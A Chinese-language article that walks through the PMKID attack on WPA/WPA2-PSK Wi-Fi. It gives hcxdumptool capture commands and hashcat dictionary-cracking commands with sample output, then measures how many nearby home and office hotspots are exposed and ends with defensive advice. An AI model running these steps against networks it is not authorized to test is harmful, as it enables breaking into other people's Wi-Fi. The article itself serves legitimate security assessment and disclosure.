在2018年8月4日,一位研究員在hashcat論壇中發布了一篇帖子,表示他研究WPA3協議密碼破解方法的過程中,發現了一個針對WPA/WPA2協議密碼破解的新方法,使用PMKID(the Pairwise Master Key Identifier ,成對主密鑰標識符)來破解無線密碼。
在之前的方法中,攻擊者需要捕獲用戶連接路由器時的完整握手包。而新的方法可以在沒有客戶端的情況下,向AP發送請求來獲取PMKID以用於破解。
在作者的文章中表示該攻擊適用於所有支持並開啟漫游功能(Roaming)的無線網絡,但他也並不清楚會對多少路由器有效。那么實際的影響范圍到底如何呢,於是有了本文。
1. 准備測試環境
筆者使用了最新的Kali Linux發行版,支持Monitor模式的TP-LINK TL-WN722N(芯片組Atheros AR9271)。進行該實驗還需要安裝:
hcxtools v4.2.0或更高版本
apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-devgit clone https://github.com/ZerBea/hcxtoolscd hcxtoolsmakemake install
hcxdumptool v4.2.0或更高版本
git clone https://github.com/ZerBea/hcxdumptoolcd hcxdumptoolmakemake install
hashcat v4.2.0或更高版本
撰寫本書時,kali倉庫中的hashcat版本為4.1,同樣需要手動安裝更高版本的hashcat。
wget https://hashcat.net/files/hashcat-4.2.1.7z7z x hashcat-4.2.1.7z
2. 實際測試
使用hcxdumptool捕獲PMKID
ifconfig wlan0 downiwconfig wlan0 mode monitoriwconfig wlan0 uphcxdumptool -o test.pcapng -i wlan0 --enable_status=1
當有如下顯示時,表明獲取到PMKID
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]
原作者建議最多運行hcxdumptool10分鍾就可以獲取到周邊所有能獲取的PMKID了。
使用hcxpcaptool將pcapng格式轉換為hashcat可使用的格式
hcxpcaptool -z test.16800 test.pcapng
執行后的效果如下圖,在底部會顯示捕獲到的PMKID數量。
打開我們生成的16800格式的文件,如下圖所示的格式,每一行由星號分成4塊,分別是:PMKID、AP的MAC地址、客戶端的MAC地址、ESSID。
使用hashcat進行爆破:
cd hashcat-4.2.1./hashcat64.bin -m 16800 test.16800 -a 0 -w 3 pass.dict-a 0 指定字典破解模式pass.dict為字典文件
一旦有破解成功將有類似顯示:
2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a:hashcat!
除了16800外,作者還表示支持預先計算散列表的方式168001。
暴力破解的工作原理是猜測明文值對其進行加密,然后將加密后的值與捕獲到的密碼散列值進行比較。如果比較失敗說明猜測錯誤,再換下一個猜測反復進行上述過程。可以看到大部分的耗時都花在了對猜測的加密上。
預先計算散列表是由猜測加密后的密文組成的。有了預先計算的散列表,破解工具只需讀取預先計算的散列表然后與密碼散列值進行比較,這極大地提高了破解效率。相應的缺點是散列文件可能會非常大。在WPA-PSK的例子中,散列不僅包含了預共享密鑰,還包含了SSID,這意味着即使兩個無線網絡密鑰相同,但因為SSID不同就會導致散列不同。所以對於WPA-PSK,我們需要提前針對指定的SSID生成預先散列。
比如在 http://rainbowtables.shmoo.com/ 上可以找到一個由最常見的1000個 SSID和 100萬密碼制作而成的,40G大小的預先計算散列表。
3.影響評估
PMKID主要用於多個AP間的快速漫游,主要被使用在企業級無線網絡環境中(WPA-Enterprise),但實際上這種攻擊方式對於802.1X認證類型的熱點是無效的,因為PMK值是在連接的時候針對每個客戶端動態生成。而在WPA-PSK所廣泛使用的家庭、小型辦公網絡中,PMKID往往是沒有意義的,因為大多數環境只有一台AP。這也意味着大部分家用級路由器很可能並不支持漫游功能。
為了測試較為真實的影響范圍,於是我在家庭和辦公兩個常見的環境進行了測試。測試思路如下:
1.使用wifite等工具,掃描周邊存在熱點5分鍾,記錄總量。
2.使用hcxdumptool抓獲嘗試PMKID值10分鍾。
3.整理分析受影響熱點的分布情況及特征,得出結論。
3.1 家庭環境
普通的小區住房,每家基本都會有路由器。5分鍾捕獲到108個熱點,如下圖:
hcxdumptool工具運行10分鍾捕獲只捕獲到2條PMKID,一台為我自己的斐訊K2P,一台為華為B315 4G路由器。
可以看到,在該家庭環境中,受影響比例不到2%。
3.2 辦公環境
在辦公環境中,熱點雖然也有很多,但分布在不同的樓層,在我網卡的接收范圍內5分鍾捕獲到74個熱點。
hcxdumptool工具運行10分鍾捕獲捕獲到4條PMKID,排除掉其中2個802.1X認證的熱點,剩余的一個為Tenda AC18 1900M,另一台是來自AskeyCom的路由器。在該辦公環境中,受影響比例不到3%。
通過在這兩個不算嚴密的實驗中能發現,受該攻擊影響的都來自於支持802.11AC等的中高端路由器(大概400以上)。
3.3 測試結論
最后,對於利用PMKID破解PSK的新攻擊方式,我做出如下總結:
1.該攻擊方式並沒有明顯降低攻擊WPA/WPA2網絡的難度,依然需要字典式進行暴力破解,只是允許在無客戶端情況下進行。
2.該攻擊只對WPA-PSK/WPA2-PSK有效,對企業級802.1X認證熱點(WPA-Enterprise)無效。
3.大部分低端家用級路由器由於不支持漫游特性,對該攻擊免疫;少部分中高端路由器(往往支持802.11AC)可能受影響,用不上就關掉吧(如果可以的話)。
4.對於用戶:依然是提高無線密碼復雜度,警惕熱點密碼分享APP。
5.對於路由器廠商:對WPA-PSK考慮是否有支持漫游特性的必要,或者增加開關。






